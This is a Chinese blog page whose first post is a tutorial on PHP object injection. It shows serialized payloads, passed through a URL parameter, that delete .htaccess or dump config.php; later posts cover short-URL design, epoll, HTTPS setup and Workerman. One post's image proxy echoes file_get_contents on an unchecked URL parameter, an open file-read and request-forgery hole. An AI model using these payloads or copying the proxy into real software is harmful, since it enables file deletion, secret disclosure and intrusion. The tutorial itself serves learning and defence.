< ?php
  
class TestClass
{
    // A variable
      
    public $variable = 'This is a string';
      
    // A simple method
      
    public function PrintVariable()
    {
        echo $this->variable;
    }
}
  
// Create an object
  
$object = new TestClass();
  
// Call a method
  
$object->PrintVariable();
  
?>

它创建了一个对象并且调用了 PrintVariable 函数,该函数会输出变量 variable。

如果想了解更多关于php面向对象编程的知识 请点: http:pensive:/php.net/manual/zh/language.oop5.php
0x02 php magic方法

php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“__”开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup 和其他的一些玩意。

这些函数在某些情况下会自动调用,比如:

__construct 当一个对象创建时调用 (constructor) __destruct 当一个对象被销毁时调用 (destructor) __ toString当一个对象被当作一个字符串使用

为了更好的理解magic方法是如何工作的,让我们添加一个magic方法在我们的类中。

< ?php
  class TestClass
  {
  // 一个变量public $variable = 'This is a string';// 一个简单的方法
   
  public function PrintVariable()
  {
  echo $this->variable . '
';
  }
   
  // Constructor
   
  public function __construct()
  {
  echo '__construct 
';
  }
   
  // Destructor
   
  public function __destruct()
  {
  echo '__destruct 
';
  }
   
  // Call
   
  public function __toString()
  {
  return '__toString
';
  }
  }
   
  // 创建一个对象
  // __construct会被调用
   
  $object = new TestClass();
   
  // 创建一个方法
  // 'This is a string’ 这玩意会被输出
   
  $object->PrintVariable();
   
  // 对象被当作一个字符串
  // __toString 会被调用
   
  echo $object;
   
  // End of PHP script
  // php脚本要结束了, __destruct会被调用
   
  ?>

我们往里头放了三个 magic方法,__construct, __destruct和 __toString,你可以看出来,__construct在对象创建时调用, __destruct在php脚本结束时调用,__toString在对象被当作一个字符串使用时调用。

这个脚本会输出这狗样:

__construct 
This is a string 
__toString 
__destruct

这只是一个简单的例子,如果你想了解更多有关magic函数的例子,请点击链接

0x03 php对象序列化

php允许保存一个对象方便以后重用,这个过程被称为序列化,打个比方,你可以保存一个包含着用户信息的对象方便等等重用。

为了序列化一个对象,你需要调用 “serialize”函数,函数会返回一个字符串,当你需要用到这个对象的时候可以使用“unserialize”去重建对象。

让我们在序列化丢进那个例子,看看序列化张什么样。

< ?php
// 某类class User
{
// 类数据public $age = 0;
public $name = '';
 
// 输出数据
 
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age
. ' years old. 
';
}
}
 
// 创建一个对象
 
$usr = new User();
 
// 设置数据
 
$usr->age = 20;
$usr->name = 'John';
 
// 输出数据
 
$usr->PrintData();
 
// 输出序列化之后的数据
 
echo serialize($usr);
 
?>

它会输出

User John is 20 years old. 
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

你可以看到序列化之后的数据中 有 20和John,其中没有任何跟类有关的东西,只有其中的数据被数据化。

为了使用这个对象,我们用unserialize重建对象。

< ?php// 某类class User
{
// Class datapublic $age = 0;
public $name = '';
 
// Print data
 
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. 
';
}
}
 
// 重建对象
 
$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');
 
// 调用PrintData 输出数据
 
$usr->PrintData();
 
?>

着会输出

User John is 20 years old

0x04 序列化magic函数

magic函数constructor (__construct)和 destructor (__destruct) 是会在对象创建或者销毁时自动调用,其他的一些magic函数会在serialize 或者 unserialize的时候被调用。

__sleep magic方法在一个对象被序列化的时候调用。 __wakeup magic方法在一个对象被反序列化的时候调用。

注意 __sleep 必须返回一个数组与序列化的变量名。

< ?php
class Test
{
public $variable = 'BUZZ';
public $variable2 = 'OTHER';public function PrintVariable()
{
echo $this->variable . '
';
}public function __construct()
{
echo '__construct
';
}
 
public function __destruct()
{
echo '__destruct
';
}
 
public function __wakeup()
{
echo '__wakeup
';
}
 
public function __sleep()
{
echo '__sleep
';
 
return array('variable', 'variable2');
}
}
 
// 创建一个对象,会调用 __construct
 
$obj = new Test();
 
// 序列化一个对象,会调用 __sleep
 
$serialized = serialize($obj);
 
//输出序列化后的字符串
 
print 'Serialized: ' . $serialized . 
';
 
// 重建对象,会调用 __wakeup
 
$obj2 = unserialize($serialized);
 
//调用 PintVariable, 会输出数据 (BUZZ)
 
$obj2->PrintVariable();
 
// php脚本结束,会调用 __destruct
 
?>

这玩意会输出:

__construct 
__sleep 
Serialized: O:4:"Test":2:
{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} 
__wakeup 
BUZZ 
__destruct 
__destruct

你可以看到,我们创建了一个对象,序列化了它(然后__sleep被调用),之后用序列化对象重建后的对象创建了另一个对象,接着php脚本结束的时候两个对象的__destruct都会被调用。

更多相关的内容

0x05 php对象注入

现在我们理解了序列化是如何工作的,我们该如何利用它?事实上,利用这玩意的可能性有很多种,关键取决于应用程序的流程与,可用的类,与magic函数。

记住序列化对象的值是可控的。

你可能会找到一套web程序的源代码,其中某个类的__wakeup 或者 __destruct and其他乱七八糟的函数会影响到web程序。

打个比方,我们可能会找到一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件会被删除。然后代码张这狗样。

public function LogData($text) { echo 'Log some data: ' . $text . '<br />'; file_put_contents($this->filename, $text, FILE_APPEND); } // Destructor 删除日志文件 public function __destruct() { echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename); } } ?>

某例子关于如何使用这个类

< ?php
include 'logfile.php';// 创建一个对象$obj = new LogFile();
 
// 设置文件名和要储存的日志数据
 
$obj->filename = 'somefile.log';
$obj->LogData('Test');
 
// php脚本结束啦,__destruct被调用,somefile.log文件被删除。
 
?>

在其他的脚本,我们可能又恰好找到一个调用“unserialize”函数的,并且恰好变量是用户可控的,又恰好是$_GET之类的什么玩意的。

< ?php
include 'logfile.php';// ... 一些狗日的代码和 LogFile 类 ...// 简单的类定义
 
class User
{
// 类数据
 
public $age = 0;
public $name = '';
 
// 输出数据
 
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. 
';
}
}
 
// 重建 用户输入的 数据
 
$usr = unserialize($_GET['usr_serialized']);
 
?>

你看,这个代码调用了 “LogClass” 类,并且有一个 “unserialize” 值是我们可以注入的。

所以构造类似这样的东西:
script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}
究竟发生了什么呢,因为输入是可控的,所以我们可以构造任意的序列化对象,比如:

filename = '.htaccess';echo serialize($obj) . '
';?>

这个会输出

O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} 
__destruct deletes ".htaccess" file.

现在我们将构造过后的序列化对象发送给刚才的脚本:

script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess”;}

这会输出

__destruct deletes ".htaccess" file.

现在 .htaccess 已经被干掉了,因为脚本结束时 __destruct会被调用。不过我们已经可以控制“LogFile”类的变量啦。

这就是漏洞名称的由来:变量可控并且进行了unserialize操作的地方注入序列化对象,实现代码执行或者其他坑爹的行为。

虽然这不是一个很好的例子,不过我相信你可以理解这个概念,unserialize自动调用 __wakeup 和 __destruct,接着攻击者可以控制类变量,并且攻击web程序。

0x06 常见的注入点

先不谈 __wakeup 和 __destruct,还有一些很常见的注入点允许你利用这个类型的漏洞,一切都是取决于程序逻辑。

打个比方,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj) ,而且其他类也可能定义了一个类允许__toString读取某个文件。

< ?php
// … 一些include ...class FileClass
{
// 文件名public $filename = 'error.log';
 
//当对象被作为一个字符串会读取这个文件
 
public function __toString()
{
return file_get_contents($this->filename);
}
}
 
// Main User class
 
class User
{
// Class data
 
public $age = 0;
public $name = '';
 
// 允许对象作为一个字符串输出上面的data
 
public function __toString()
{
return 'User ' . $this->name . ' is ' . $this->age . ' years old. 
';
}
}
 
// 用户可控
 
$obj = unserialize($_GET['usr_serialized']);
 
// 输出 __toString
 
echo $obj;
 
?>

so,我们构造url

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

再想想,如果我们用序列化调用 FileClass呢

我们创建利用代码

filename = 'config.php';echo serialize($fileobj);?>

接着用生成的exp注入url

script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php”;}

接着网页会输出 config.php的源代码

ps:我希望这让你能够理解。

0x07 其他的利用方法

可能其他的一些magic函数海存在利用点:比如__call 会在对象调用不存在的函数时调用,__get 和 __set会在对象尝试访问一些不存在的类,变量等等时调用。

不过需要注意的是,利用场景不限于magic函数,也有一些方式可以在一半的函数中利用这个漏洞,打个比方,一个模块可能定义了一个叫get的函数进行一些敏感的操作,比如访问数据库,这就可能造成sql注入,取决于函数本身的操作。

唯一的一个技术难点在于,注入的类必须在注入点所在的地方,不过一些模块或者脚本会使用“autoload”的功能,具体可以在这里了解

0x08 如何利用或者避免这个漏洞

别在任何用户可控的地方使用“unserialize”,可以考虑“json_decode“

0x09 结论

虽然很难找到而且很难利用,但是这真的真的很严重,可以导致各种各样的漏洞。

[转]短 URL 系统是怎么设计的?

作者:iammutex
链接:https://www.zhihu.com/question/29270034/answer/46446911
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

最烂的回答
实现一个算法,将长地址转成短地址。实现长和短一一对应。然后再实现它的逆运算,将短地址还能换算回长地址。
这个回答看起来挺完美的,然后候选人也会说现在时间比较短,如果给我时间我去找这个算法就解决问题了。但是稍微有点计算机或者信息论常识的人就能发现,这个算法就跟永动机一样,是永远不可能找到的。即使我们定义短地址是100位。那么它的变化是62的100次方。62=10数字+26大写字母+26小写字母。无论这个数多么大,他也不可能大过世界上可能存在的长地址。所以实现一一对应,本身就是不可能的。
再换一个说法来反驳,如果真有这么一个算法和逆运算,那么基本上现在的压缩软件都可以歇菜了,而世界上所有的信息,都可以压缩到100个字符。这~可能吗。

另一个很烂的回答
和上面一样,也找一个算法,把长地址转成短地址,但是不存在逆运算。我们需要把短对长的关系存到DB中,在通过短查长时,需要查DB。
怎么说呢,没有改变本质,如果真有这么一个算法,那必然是会出现碰撞的,也就是多个长地址转成了同一个短地址。因为我们无法预知会输入什么样的长地址到这个系统中,所以不可能实现这样一个绝对不碰撞的hash函数。

比较烂的回答
那我们用一个hash算法,我承认它会碰撞,碰撞后我再在后面加1,2,3不就行了。
ok,这样的话,当通过这个hash算法算出来之后,可能我们会需要做btree式的大于小于或者like查找到能知道现在应该在后面加1,2,或3,这个也可能由于输入的长地址集的不确定性。导致生成短地址时间的不确定性。同样烂的回答还有随机生成一个短地址,去查找是否用过,用过就再随机,如此往复,直到随机到一个没用过的短地址。

正确的原理
上面是几种典型的错误回答,下面咱们直接说正确的原理。
正确的原理就是通过发号策略,给每一个过来的长地址,发一个号即可,小型系统直接用mysql的自增索引就搞定了。如果是大型应用,可以考虑各种分布式key-value系统做发号器。不停的自增就行了。第一个使用这个服务的人得到的短地址是xx.xx/0 第二个是 xx.xx/1 第11个是 xx.xx/a 第依次往后,相当于实现了一个62进制的自增字段即可。

几个子问题

1. 62进制如何用数据库或者KV存储来做?
其实我们并不需要在存储中用62进制,用10进制就好了。比如第10000个长地址,我们给它的短地址对应的编号是9999,我们通过存储自增拿到9999后,再做一个10进制到62进制的转换,转成62进制数即可。这个10~62进制转换,你完全都可以自己实现。

2. 如何保证同一个长地址,每次转出来都是一样的短地址
上面的发号原理中,是不判断长地址是否已经转过的。也就是说用拿着百度首页地址来转,我给一个xx.xx/abc 过一段时间你再来转,我还会给你一个 xx.xx/xyz。这看起来挺不好的,但是不好在哪里呢?不好在不是一一对应,而一长对多短。这与我们完美主义的基因不符合,那么除此以外还有什么不对的地方?
有人说它浪费空间,这是对的。同一个长地址,产生多条短地址记录,这明显是浪费空间的。那么我们如何避免空间浪费,有人非常迅速的回答我,建立一个长对短的KV存储即可。嗯,听起来有理,但是。。。这个KV存储本身就是浪费大量空间。所以我们是在用空间换空间,而且貌似是在用大空间换小空间。真的划算吗?这个问题要考虑一下。当然,也不是没有办法解决,我们做不到真正的一一对应,那么打个折扣是不是可以搞定?这个问题的答案太多种,各有各招,我这就不说了。(由于实在太多人纠结这个问题,请见我最下方的更新

3. 如何保证发号器的大并发高可用
上面设计看起来有一个单点,那就是发号器。如果做成分布式的,那么多节点要保持同步加1,多点同时写入,这个嘛,以CAP理论看,是不可能真正做到的。其实这个问题的解决非常简单,我们可以退一步考虑,我们是否可以实现两个发号器,一个发单号,一个发双号,这样就变单点为多点了?依次类推,我们可以实现1000个逻辑发号器,分别发尾号为0到999的号。每发一个号,每个发号器加1000,而不是加1。这些发号器独立工作,互不干扰即可。而且在实现上,也可以先是逻辑的,真的压力变大了,再拆分成独立的物理机器单元。1000个节点,估计对人类来说应该够用了。如果你真的还想更多,理论上也是可以的。

4. 具体存储如何选择
这个问题就不展开说了,各有各道,主要考察一下对存储的理解。对缓存原理的理解,和对市面上DB、Cache系统可用性,并发能力,一致性等方面的理解。

5. 跳转用301还是302
这也是一个有意思的话题。首先当然考察一个候选人对301和302的理解。浏览器缓存机制的理解。然后是考察他的业务经验。301是永久重定向,302是临时重定向。短地址一经生成就不会变化,所以用301是符合http语义的。同时对服务器压力也会有一定减少。
但是如果使用了301,我们就无法统计到短地址被点击的次数了。而这个点击次数是一个非常有意思的大数据分析数据源。能够分析出的东西非常非常多。所以选择302虽然会增加服务器压力,但是我想是一个更好的选择。

大概就是这样。

——五一假期后更新——-
就回答一点大家最纠结的问题吧,就是如何实现同一个长地址多次转换,出来还是同一个短地址。

我上面其实讲到了,这个方案最简单的是建立一个长对短的hashtable,这样相当于用空间来换空间,同时换取一个设计上的优雅(真正的一对一)。

实际情况是有很多性价比高的打折方案可以用,这个方案设计因人而异了。那我就说一下我的方案吧。

我的方案是:用key-value存储,保存“最近”生成的长对短的一个对应关系。注意是“最近”,也就是说,我并不保存全量的长对短的关系,而只保存最近的。比如采用一小时过期的机制来实现LRU淘汰。

这样的话,长转短的流程变成这样:
1 在这个“最近”表中查看一下,看长地址有没有对应的短地址
1.1 有就直接返回,并且将这个key-value对的过期时间再延长成一小时
1.2 如果没有,就通过发号器生成一个短地址,并且将这个“最近”表中,过期时间为1小时

所以当一个地址被频繁使用,那么它会一直在这个key-value表中,总能返回当初生成那个短地址,不会出现重复的问题。如果它使用并不频繁,那么长对短的key会过期,LRU机制自动就会淘汰掉它。

当然,这不能保证100%的同一个长地址一定能转出同一个短地址,比如你拿一个生僻的url,每间隔1小时来转一次,你会得到不同的短地址。但是这真的有关系吗

[转] Nginx 服务器 select 和epoll的区别

epoll为什么这么快

epoll是多路复用IO(I/O Multiplexing)中的一种方式,但是仅用于linux2.6以上内核,在开始讨论这个问题之前,先来解释一下为什么需要多路复用IO.

以一个生活中的例子来解释.

假设你在大学中读书,要等待一个朋友来访,而这个朋友只知道你在A号楼,但是不知道你具体住在哪里,于是你们约好了在A号楼门口见面.

如果你使用的阻塞IO模型来处理这个问题,那么你就只能一直守候在A号楼门口等待朋友的到来,在这段时间里你不能做别的事情,不难知道,这种方式的效率是低下的.

现在时代变化了,开始使用多路复用IO模型来处理这个问题.你告诉你的朋友来了A号楼找楼管大妈,让她告诉你该怎么走.这里的楼管大妈扮演的就是多路复用IO的角色.

进一步解释select和epoll模型的差异.

select版大妈做的是如下的事情:比如同学甲的朋友来了,select版大妈比较笨,她带着朋友挨个房间进行查询谁是同学甲,你等的朋友来了,于是在实际的代码中,select版大妈做的是以下的事情:

int n = select(&readset,NULL,NULL,100);

for (int i = 0; n > 0; ++i)
{
if (FD_ISSET(fdarray[i], &readset))
{
do_something(fdarray[i]);
–n;
}
}

epoll版大妈就比较先进了,她记下了同学甲的信息,比如说他的房间号,那么等同学甲的朋友到来时,只需要告诉该朋友同学甲在哪个房间即可,不用自己亲自带着人满大楼的找人了.于是epoll版大妈做的事情可以用如下的代码表示:

n=epoll_wait(epfd,events,20,500);

for(i=0;i<n;++i)
{
do_something(events[n]);
}

在epoll中,关键的数据结构epoll_event定义如下:

typedef union epoll_data {
void *ptr;
int fd;
__uint32_t u32;
__uint64_t u64;
} epoll_data_t;

struct epoll_event {
__uint32_t events;      /* Epoll events */
epoll_data_t data;      /* User data variable */
};

可以看到,epoll_data是一个union结构体,它就是epoll版大妈用于保存同学信息的结构体,它可以保存很多类型的信息:fd,指针,等等.有了这个结构体,epoll大妈可以不用吹灰之力就可以定位到同学甲.

别小看了这些效率的提高,在一个大规模并发的服务器中,轮询IO是最耗时间的操作之一.再回到那个例子中,如果每到来一个朋友楼管大妈都要全楼的查询同学,那么处理的效率必然就低下了,过不久楼底就有不少的人了.

对比最早给出的阻塞IO的处理模型, 可以看到采用了多路复用IO之后, 程序可以自由的进行自己除了IO操作之外的工作, 只有到IO状态发生变化的时候由多路复用IO进行通知, 然后再采取相应的操作, 而不用一直阻塞等待IO状态发生变化了.

从上面的分析也可以看出,epoll比select的提高实际上是一个用空间换时间思想的具体应用.

原文链接:http://blog.csdn.net/caoshuming_500/article/details/7372993

[大大爱二二网]全面支持https

无意中看到一篇文章,讲免费申请https证书。之前以为https需要年费一直没有做,现在有时间就把自己的网站支持https,另外微信小程序的接口都必须是https的,可以在小程序中调用我的https api.

1申请证书

网址 startssl

1,首先注册网站,注册网站后需要下载证书登录或者邮件登录,选择简单的邮件登录即可。

2,认证指引

b8ebc793a687f1688c4cf7960ac84f7e

选择DV SSL Certificate, 

会要求你先输入域名并验证邮箱密码,我相信自己买的域名都留了自己的邮箱,填入邮箱中的密码即可。

3,生成key

dcfe160922fd08e023f0a3e960e25088

同时在机器上生成私钥

openssl req -newkey rsa:2048 -keyout dadaaierer.key -out dadaaierer.csr

这步可能会需要输入密码,记住密码即可!!

将 dadaaierer.csr粘贴到表单里就生成了证书.zip,会看到各种服务器的crt,这里我用的nginx,所以选择1_dadaaierer.com_bundle.crt 即可。

4,配置nginx服务器

这里直接使用dadaaierer.key,并且重启nginx需要输入密码,并且会报错

SSL_CTX_use_PrivateKey_file(“/home/work/ssl/www.dadaaierer.com.key”) failed (SSL: error:0906406D:PEM routines:PEM_def_callback:problems getting password error:0907B068:PEM routines:PEM_READ_BIO_PRIVATEKEY:bad password read error:140B0009:SSL routines:SSL_CTX_use_PrivateKey_file:PEM lib)

很是郁闷!查了一下午,应该去掉PEM的密码

openssl rsa -in dadaaierer.key -out www.nopass.key

server {
listen 443 ;

ssl on;
ssl_certificate /home/work/ssl/3_dadaaierer.com_bundle.crt ;
ssl_certificate_key /home/work/ssl/www.nopass.key;

重启nginx,访问网址https://大大爱二二网 可以啦!!另外全站都已经支持了https.

5 后记

因为前端https链接是不允许降级访问http的,所以如果引用了一些https的资源会加载失败,需要把之前加载http的资源改为https.

startssl网站的证书免费三年,感觉整体还是不错的!

知乎日报搜索小应用

博主每天都要刷知乎日报,感觉里面的内容很不错,但是有时候看到的文章并没有收藏,下次再找的时候十分不方便,这里做一个简单的小网页来提供知乎日报的搜索功能。

先放上网站链接:知乎日报搜索

前端样式比较丑,后期有时间进行改进。

一 抓取知乎日报内容

网上之前有调用http://zhihudaily.ahorn.me这个接口来返回知乎日报文章url,后来发现接口已经不可用,经过查找,发现可用的三个接口,还比较方便:

http://news-at.zhihu.com/api/3/news/latest  #获取最新消息

http://news.at.zhihu.com/api/3/news/before/20170401  #获取以前的消息,before后面要加日期

http://news-at.zhihu.com/api/3/news/  #获取指定消息,news后面加消息ID

后面的事情就好说了,随便写个爬虫,从2013年开始,抓到目前为止的所有内容,这里返回的都是json数据,更好处理。

二 使用sphinx作为中文搜索引擎

Sphinx的安装和使用

如果建立索引的时候报错,可以用一下参数:

/usr/local/sphinx-for-chinese/bin/indexer –all –rotate

三 搭建一个php代理处理图片盗链

把图片url抓取之后,发现知乎做了反盗链,图片没法直接显示,最后搭了简单的php代理,通过后端get_file_contents($image_url),或者通过curl设置referer, 请求原始图片数据echo 出来返回前端,这样就解决了知乎的反盗链。但是服务器需要下载和展示图片,流量会是原来的2倍,对于预算不足的服务器可能不太值当。另外可以把图片下载后放到微博的图床上,获取微博的未防盗链的图片,这样对服务器的性能会更好!


//防止别人用我的接口,这里判断refer,只有自己网站可用
if(isset($_SERVER['HTTP_REFERER']) &amp;amp;&amp;amp; (strpos($_SERVER['HTTP_REFERER'], 'http://zhihu.dadaaierer.com/') !== 0)) {
return;
}
if(!isset($_GET['url']) ||empty($_GET['url'])) {
return;
}
echo file_get_contents($_GET['url']);

文章中的img url通过


preg_replace('/src=\&amp;quot;(.*)\&amp;quot;/', 'src=&amp;quot;http://zhihu.dadaaierer.com/site/url?url=$1&amp;quot;', $tmp['content']);

替换,即可展示文章的图片。

957892883d1c4b6e7f469c69c4b2af6e

如图,搜索今日知乎日报小姐姐之后的结果。

PS:由于博主是单核1G阿里云服务器,图片请求全部打到php做的代理上已经出现扛不住,链接超时报502的错误,博主已经修改了php-fpm的默认max_children,希望近期能扛得住。

[workerman]通过websocket长连接实现聊天工具

wokerman的一些实例可以通过官方的网站:

http://doc3.workerman.net/getting-started/simple-example.html

实例一、使用HTTP协议对外提供Web服务

创建http_test.php文件(位置任意,能引用到Workerman/Autoloader.php即可,下同)

<?php
use Workerman\Worker;
require_once __DIR__ . '/Workerman/Autoloader.php';

// 创建一个Worker监听2345端口,使用http协议通讯
$http_worker = new Worker("http://0.0.0.0:2345");

// 启动4个进程对外提供服务
$http_worker->count = 4;

// 接收到浏览器发送的数据时回复hello world给浏览器
$http_worker->onMessage = function($connection, $data)
{
    // 向浏览器发送hello world
    $connection->send('hello world');
};

// 运行worker
Worker::runAll();

命令行运行(windows用户用 cmd命令行,下同)

php http_test.php start

测试

假设服务端ip为127.0.0.1

在浏览器中访问url http://127.0.0.1:2345

注意:如果出现无法访问的情况,请检查服务器防火墙。

实例二、使用WebSocket协议对外提供服务

创建ws_test.php文件

<?php
use Workerman\Worker;
require_once __DIR__ . '/Workerman/Autoloader.php';

// 创建一个Worker监听2346端口,使用websocket协议通讯
$ws_worker = new Worker("websocket://0.0.0.0:2346");

// 启动4个进程对外提供服务
$ws_worker->count = 4;

// 当收到客户端发来的数据后返回hello $data给客户端
$ws_worker->onMessage = function($connection, $data)
{
    // 向客户端发送hello $data
    $connection->send('hello ' . $data);
};

// 运行worker
Worker::runAll();

命令行运行

php ws_test.php start

测试

打开chrome浏览器,按F12打开调试控制台,在Console一栏输入(或者把下面代码放入到html页面用js运行)

// 假设服务端ip为127.0.0.1
ws = new WebSocket("ws://127.0.0.1:2346");
ws.onopen = function() {
    alert("连接成功");
    ws.send('tom');
    alert("给服务端发送一个字符串:tom");
};
ws.onmessage = function(e) {
    alert("收到服务端的消息:" + e.data);
};

注意:如果出现无法访问的情况,请检查服务器防火墙。

实例三、直接使用TCP传输数据

创建tcp_test.php

<?php
use Workerman\Worker;
require_once __DIR__ . '/Workerman/Autoloader.php';

// 创建一个Worker监听2347端口,不使用任何应用层协议
$tcp_worker = new Worker("tcp://0.0.0.0:2347");

// 启动4个进程对外提供服务
$tcp_worker->count = 4;

// 当客户端发来数据时
$tcp_worker->onMessage = function($connection, $data)
{
    // 向客户端发送hello $data
    $connection->send('hello ' . $data);
};

// 运行worker
Worker::runAll();

命令行运行

php tcp_test.php start

测试:命令行运行

telnet 127.0.0.1 2347
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
tom
hello tom

注意:如果出现无法访问的情况,请检查服务器防火墙。

workerman-chat可以直接实现聊天工具:实现的页面

http://www.workerman.net/workerman-chat

http://www.dadaaierer.com/tool/chat